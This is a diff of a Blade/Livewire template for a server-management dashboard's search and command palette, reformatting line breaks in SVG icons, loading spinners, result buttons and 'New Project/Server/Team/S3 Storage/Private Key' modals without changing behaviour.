{{ $server['description'] }} {{ $server['description'] }}
</div> </div>
@else @else
@@ -355,10 +363,10 @@
@endif @endif
</div> </div>
<svg xmlns="http://www.w3.org/2000/svg" <svg xmlns="http://www.w3.org/2000/svg"
class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400" fill="none" class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400"
viewBox="0 0 24 24" stroke="currentColor"> fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" <path stroke-linecap="round" stroke-linejoin="round"
d="M9 5l7 7-7 7" /> stroke-width="2" d="M9 5l7 7-7 7" />
</svg> </svg>
</div> </div>
</button> </button>
@@ -380,10 +388,10 @@
<button type="button" <button type="button"
@click="$wire.set('searchQuery', ''); setTimeout(() => $refs.searchInput.focus(), 100)" @click="$wire.set('searchQuery', ''); setTimeout(() => $refs.searchInput.focus(), 100)"
class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white"> class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white">
<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6"
viewBox="0 0 24 24" stroke="currentColor"> fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" <path stroke-linecap="round" stroke-linejoin="round"
d="M15 19l-7-7 7-7" /> stroke-width="2" d="M15 19l-7-7 7-7" />
</svg> </svg>
</button> </button>
<div> <div>
@@ -398,11 +406,13 @@
</div> </div>
</div> </div>
@if ($loadingDestinations) @if ($loadingDestinations)
<div class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg"> <div
<svg class="animate-spin h-5 w-5 text-yellow-500" xmlns="http://www.w3.org/2000/svg" class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
fill="none" viewBox="0 0 24 24"> <svg class="animate-spin h-5 w-5 text-yellow-500"
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" xmlns="http://www.w3.org/2000/svg" fill="none"
stroke-width="4"></circle> viewBox="0 0 24 24">
<circle class="opacity-25" cx="12" cy="12" r="10"
stroke="currentColor" stroke-width="4"></circle>
<path class="opacity-75" fill="currentColor" <path class="opacity-75" fill="currentColor"
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"> d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z">
</path> </path>
@@ -412,22 +422,25 @@
</div> </div>
@elseif (count($availableDestinations) > 0) @elseif (count($availableDestinations) > 0)
@foreach ($availableDestinations as $index => $destination) @foreach ($availableDestinations as $index => $destination)
<button type="button" wire:click="selectDestination('{{ $destination['uuid'] }}', true)" <button type="button"
wire:click="selectDestination('{{ $destination['uuid'] }}', true)"
class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0"> class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0">
<div class="flex items-center justify-between gap-3 min-h-[2.5rem]"> <div
class="flex items-center justify-between gap-3 min-h-[2.5rem]">
<div class="flex-1 min-w-0"> <div class="flex-1 min-w-0">
<div class="font-medium text-neutral-900 dark:text-white"> <div class="font-medium text-neutral-900 dark:text-white">
{{ $destination['name'] }} {{ $destination['name'] }}
</div> </div>
<div class="text-xs text-neutral-500 dark:text-neutral-400"> <div
class="text-xs text-neutral-500 dark:text-neutral-400">
Network: {{ $destination['network'] }} Network: {{ $destination['network'] }}
</div> </div>
</div> </div>
<svg xmlns="http://www.w3.org/2000/svg" <svg xmlns="http://www.w3.org/2000/svg"
class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400" fill="none" class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400"
viewBox="0 0 24 24" stroke="currentColor"> fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" <path stroke-linecap="round" stroke-linejoin="round"
d="M9 5l7 7-7 7" /> stroke-width="2" d="M9 5l7 7-7 7" />
</svg> </svg>
</div> </div>
</button> </button>
@@ -449,10 +462,10 @@
<button type="button" <button type="button"
@click="$wire.set('searchQuery', ''); setTimeout(() => $refs.searchInput.focus(), 100)" @click="$wire.set('searchQuery', ''); setTimeout(() => $refs.searchInput.focus(), 100)"
class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white"> class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white">
<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6"
viewBox="0 0 24 24" stroke="currentColor"> fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" <path stroke-linecap="round" stroke-linejoin="round"
d="M15 19l-7-7 7-7" /> stroke-width="2" d="M15 19l-7-7 7-7" />
</svg> </svg>
</button> </button>
<div> <div>
@@ -467,11 +480,13 @@
</div> </div>
</div> </div>
@if ($loadingProjects) @if ($loadingProjects)
<div class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg"> <div
<svg class="animate-spin h-5 w-5 text-yellow-500" xmlns="http://www.w3.org/2000/svg" class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
fill="none" viewBox="0 0 24 24"> <svg class="animate-spin h-5 w-5 text-yellow-500"
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" xmlns="http://www.w3.org/2000/svg" fill="none"
stroke-width="4"></circle> viewBox="0 0 24 24">
<circle class="opacity-25" cx="12" cy="12" r="10"
stroke="currentColor" stroke-width="4"></circle>
<path class="opacity-75" fill="currentColor" <path class="opacity-75" fill="currentColor"
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"> d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z">
</path> </path>
@@ -481,15 +496,18 @@
</div> </div>
@elseif (count($availableProjects) > 0) @elseif (count($availableProjects) > 0)
@foreach ($availableProjects as $index => $project) @foreach ($availableProjects as $index => $project)
<button type="button" wire:click="selectProject('{{ $project['uuid'] }}', true)" <button type="button"
wire:click="selectProject('{{ $project['uuid'] }}', true)"
class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0"> class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0">
<div class="flex items-center justify-between gap-3 min-h-[2.5rem]"> <div
class="flex items-center justify-between gap-3 min-h-[2.5rem]">
<div class="flex-1 min-w-0"> <div class="flex-1 min-w-0">
<div class="font-medium text-neutral-900 dark:text-white"> <div class="font-medium text-neutral-900 dark:text-white">
{{ $project['name'] }} {{ $project['name'] }}
</div> </div>
@if (!empty($project['description'])) @if (!empty($project['description']))
<div class="text-xs text-neutral-500 dark:text-neutral-400"> <div
class="text-xs text-neutral-500 dark:text-neutral-400">
{{ $project['description'] }} {{ $project['description'] }}
</div> </div>
@else @else
@@ -499,10 +517,10 @@
@endif @endif
</div> </div>
<svg xmlns="http://www.w3.org/2000/svg" <svg xmlns="http://www.w3.org/2000/svg"
class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400" fill="none" class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400"
viewBox="0 0 24 24" stroke="currentColor"> fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" <path stroke-linecap="round" stroke-linejoin="round"
d="M9 5l7 7-7 7" /> stroke-width="2" d="M9 5l7 7-7 7" />
</svg> </svg>
</div> </div>
</button> </button>
@@ -524,10 +542,10 @@
<button type="button" <button type="button"
@click="$wire.set('searchQuery', ''); setTimeout(() => $refs.searchInput.focus(), 100)" @click="$wire.set('searchQuery', ''); setTimeout(() => $refs.searchInput.focus(), 100)"
class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white"> class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white">
<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6"
viewBox="0 0 24 24" stroke="currentColor"> fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" <path stroke-linecap="round" stroke-linejoin="round"
d="M15 19l-7-7 7-7" /> stroke-width="2" d="M15 19l-7-7 7-7" />
</svg> </svg>
</button> </button>
<div> <div>
@@ -542,11 +560,13 @@
</div> </div>
</div> </div>
@if ($loadingEnvironments) @if ($loadingEnvironments)
<div class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg"> <div
<svg class="animate-spin h-5 w-5 text-yellow-500" xmlns="http://www.w3.org/2000/svg" class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
fill="none" viewBox="0 0 24 24"> <svg class="animate-spin h-5 w-5 text-yellow-500"
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" xmlns="http://www.w3.org/2000/svg" fill="none"
stroke-width="4"></circle> viewBox="0 0 24 24">
<circle class="opacity-25" cx="12" cy="12" r="10"
stroke="currentColor" stroke-width="4"></circle>
<path class="opacity-75" fill="currentColor" <path class="opacity-75" fill="currentColor"
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"> d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z">
</path> </path>
@@ -556,15 +576,18 @@
</div> </div>
@elseif (count($availableEnvironments) > 0) @elseif (count($availableEnvironments) > 0)
@foreach ($availableEnvironments as $index => $environment) @foreach ($availableEnvironments as $index => $environment)
<button type="button" wire:click="selectEnvironment('{{ $environment['uuid'] }}', true)" <button type="button"
wire:click="selectEnvironment('{{ $environment['uuid'] }}', true)"
class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0"> class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0">
<div class="flex items-center justify-between gap-3 min-h-[2.5rem]"> <div
class="flex items-center justify-between gap-3 min-h-[2.5rem]">
<div class="flex-1 min-w-0"> <div class="flex-1 min-w-0">
<div class="font-medium text-neutral-900 dark:text-white"> <div class="font-medium text-neutral-900 dark:text-white">
{{ $environment['name'] }} {{ $environment['name'] }}
</div> </div>
@if (!empty($environment['description'])) @if (!empty($environment['description']))
<div class="text-xs text-neutral-500 dark:text-neutral-400"> <div
class="text-xs text-neutral-500 dark:text-neutral-400">
{{ $environment['description'] }} {{ $environment['description'] }}
</div> </div>
@else @else
@@ -574,10 +597,10 @@
@endif @endif
</div> </div>
<svg xmlns="http://www.w3.org/2000/svg" <svg xmlns="http://www.w3.org/2000/svg"
class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400" fill="none" class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400"
viewBox="0 0 24 24" stroke="currentColor"> fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" <path stroke-linecap="round" stroke-linejoin="round"
d="M9 5l7 7-7 7" /> stroke-width="2" d="M9 5l7 7-7 7" />
</svg> </svg>
</div> </div>
</button> </button>
@@ -616,7 +639,8 @@
<div class="flex items-center justify-between gap-3"> <div class="flex items-center justify-between gap-3">
<div class="flex-1 min-w-0"> <div class="flex-1 min-w-0">
<div class="flex items-center gap-2 mb-1"> <div class="flex items-center gap-2 mb-1">
<span class="font-medium text-neutral-900 dark:text-white truncate"> <span
class="font-medium text-neutral-900 dark:text-white truncate">
{{ $result['name'] }} {{ $result['name'] }}
</span> </span>
<span <span
@@ -637,13 +661,15 @@
</span> </span>
</div> </div>
@if (!empty($result['project']) && !empty($result['environment'])) @if (!empty($result['project']) && !empty($result['environment']))
<div class="text-xs text-neutral-500 dark:text-neutral-400 mb-1"> <div
class="text-xs text-neutral-500 dark:text-neutral-400 mb-1">
{{ $result['project'] }} / {{ $result['project'] }} /
{{ $result['environment'] }} {{ $result['environment'] }}
</div> </div>
@endif @endif
@if (!empty($result['description'])) @if (!empty($result['description']))
<div class="text-sm text-neutral-600 dark:text-neutral-400"> <div
class="text-sm text-neutral-600 dark:text-neutral-400">
{{ Str::limit($result['description'], 80) }} {{ Str::limit($result['description'], 80) }}
</div> </div>
@endif @endif
@@ -651,8 +677,8 @@
<svg xmlns="http://www.w3.org/2000/svg" <svg xmlns="http://www.w3.org/2000/svg"
class="shrink-0 h-5 w-5 text-neutral-300 dark:text-neutral-600 self-center" class="shrink-0 h-5 w-5 text-neutral-300 dark:text-neutral-600 self-center"
fill="none" viewBox="0 0 24 24" stroke="currentColor"> fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" <path stroke-linecap="round" stroke-linejoin="round"
d="M9 5l7 7-7 7" /> stroke-width="2" d="M9 5l7 7-7 7" />
</svg> </svg>
</div> </div>
</a> </a>
@@ -682,15 +708,16 @@
<div <div
class="flex-shrink-0 w-10 h-10 rounded-lg bg-yellow-100 dark:bg-yellow-900/40 flex items-center justify-center"> class="flex-shrink-0 w-10 h-10 rounded-lg bg-yellow-100 dark:bg-yellow-900/40 flex items-center justify-center">
<svg xmlns="http://www.w3.org/2000/svg" <svg xmlns="http://www.w3.org/2000/svg"
class="h-5 w-5 text-yellow-600 dark:text-yellow-400" fill="none" class="h-5 w-5 text-yellow-600 dark:text-yellow-400"
viewBox="0 0 24 24" stroke="currentColor"> fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" <path stroke-linecap="round" stroke-linejoin="round"
d="M12 4v16m8-8H4" /> stroke-width="2" d="M12 4v16m8-8H4" />
</svg> </svg>
</div> </div>
<div class="flex-1 min-w-0"> <div class="flex-1 min-w-0">
<div class="flex items-center gap-2 mb-1"> <div class="flex items-center gap-2 mb-1">
<div class="font-medium text-neutral-900 dark:text-white truncate"> <div
class="font-medium text-neutral-900 dark:text-white truncate">
{{ $item['name'] }} {{ $item['name'] }}
</div> </div>
@if (isset($item['quickcommand'])) @if (isset($item['quickcommand']))
@@ -698,7 +725,8 @@
class="text-xs text-neutral-500 dark:text-neutral-400 shrink-0">{{ $item['quickcommand'] }}</span> class="text-xs text-neutral-500 dark:text-neutral-400 shrink-0">{{ $item['quickcommand'] }}</span>
@endif @endif
</div> </div>
<div class="text-sm text-neutral-600 dark:text-neutral-400 truncate"> <div
class="text-sm text-neutral-600 dark:text-neutral-400 truncate">
{{ $item['description'] }} {{ $item['description'] }}
</div> </div>
</div> </div>
@@ -706,8 +734,8 @@
<svg xmlns="http://www.w3.org/2000/svg" <svg xmlns="http://www.w3.org/2000/svg"
class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400 self-center" class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400 self-center"
fill="none" viewBox="0 0 24 24" stroke="currentColor"> fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" <path stroke-linecap="round" stroke-linejoin="round"
d="M9 5l7 7-7 7" /> stroke-width="2" d="M9 5l7 7-7 7" />
</svg> </svg>
</div> </div>
</button> </button>
@@ -792,7 +820,8 @@
class="flex-shrink-0 w-10 h-10 rounded-lg bg-yellow-100 dark:bg-yellow-900/40 flex items-center justify-center"> class="flex-shrink-0 w-10 h-10 rounded-lg bg-yellow-100 dark:bg-yellow-900/40 flex items-center justify-center">
<svg xmlns="http://www.w3.org/2000/svg" <svg xmlns="http://www.w3.org/2000/svg"
class="h-5 w-5 text-yellow-600 dark:text-yellow-400" class="h-5 w-5 text-yellow-600 dark:text-yellow-400"
fill="none" viewBox="0 0 24 24" stroke="currentColor"> fill="none" viewBox="0 0 24 24"
stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" <path stroke-linecap="round" stroke-linejoin="round"
stroke-width="2" d="M12 4v16m8-8H4" /> stroke-width="2" d="M12 4v16m8-8H4" />
</svg> </svg>
@@ -860,10 +889,12 @@
if (firstInput) firstInput.focus(); if (firstInput) firstInput.focus();
}, 200); }, 200);
} }
})" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen"> })"
<div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100" <div x-show="modalOpen" x-transition:enter="ease-out duration-100"
x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false" x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
x-transition:leave-end="opacity-0" @click="modalOpen=false"
class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div> class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
<div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100" <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95" x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
@@ -876,8 +907,8 @@
<h3 class="text-2xl font-bold">New Project</h3> <h3 class="text-2xl font-bold">New Project</h3>
<button @click="modalOpen=false" <button @click="modalOpen=false"
class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning"> class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
stroke-width="1.5" stroke="currentColor"> viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /> <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
</svg> </svg>
</button> </button>
@@ -900,10 +931,12 @@
if (firstInput) firstInput.focus(); if (firstInput) firstInput.focus();
}, 200); }, 200);
} }
})" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen"> })"
<div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100" <div x-show="modalOpen" x-transition:enter="ease-out duration-100"
x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false" x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
x-transition:leave-end="opacity-0" @click="modalOpen=false"
class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div> class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
<div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100" <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95" x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
@@ -916,8 +949,8 @@
<h3 class="text-2xl font-bold">New Server</h3> <h3 class="text-2xl font-bold">New Server</h3>
<button @click="modalOpen=false" <button @click="modalOpen=false"
class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning"> class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
stroke-width="1.5" stroke="currentColor"> viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /> <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
</svg> </svg>
</button> </button>
@@ -940,10 +973,12 @@
if (firstInput) firstInput.focus(); if (firstInput) firstInput.focus();
}, 200); }, 200);
} }
})" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen"> })"
<div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100" <div x-show="modalOpen" x-transition:enter="ease-out duration-100"
x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false" x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
x-transition:leave-end="opacity-0" @click="modalOpen=false"
class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div> class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
<div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100" <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95" x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
@@ -956,8 +991,8 @@
<h3 class="text-2xl font-bold">New Team</h3> <h3 class="text-2xl font-bold">New Team</h3>
<button @click="modalOpen=false" <button @click="modalOpen=false"
class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning"> class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
stroke-width="1.5" stroke="currentColor"> viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /> <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
</svg> </svg>
</button> </button>
@@ -980,10 +1015,12 @@
if (firstInput) firstInput.focus(); if (firstInput) firstInput.focus();
}, 200); }, 200);
} }
})" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen"> })"
<div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100" <div x-show="modalOpen" x-transition:enter="ease-out duration-100"
x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false" x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
x-transition:leave-end="opacity-0" @click="modalOpen=false"
class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div> class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
<div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100" <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95" x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
@@ -996,8 +1033,8 @@
<h3 class="text-2xl font-bold">New S3 Storage</h3> <h3 class="text-2xl font-bold">New S3 Storage</h3>
<button @click="modalOpen=false" <button @click="modalOpen=false"
class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning"> class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
<svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
stroke-width="1.5" stroke="currentColor"> viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /> <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
</svg> </svg>
</button> </button>
@@ -1020,10 +1057,12 @@
if (firstInput) firstInput.focus(); if (firstInput) firstInput.focus();
}, 200); }, 200);
} }
})" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen"> })"
<div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100" <div x-show="modalOpen" x-transition:enter="ease-out duration-100"
x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false" x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
x-transition:leave-end="opacity-0" @click="modalOpen=false"
class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div> class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
<div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100" <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95" x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
@@ -1036,8 +1075,8 @@
<h3 class="text-2xl font-bold">New Private Key</h3> <h3 class="text-2xl font-bold">New Private Key</h3>
<button @click="modalOpen=false" <button @click="modalOpen=false"
class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning"> class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
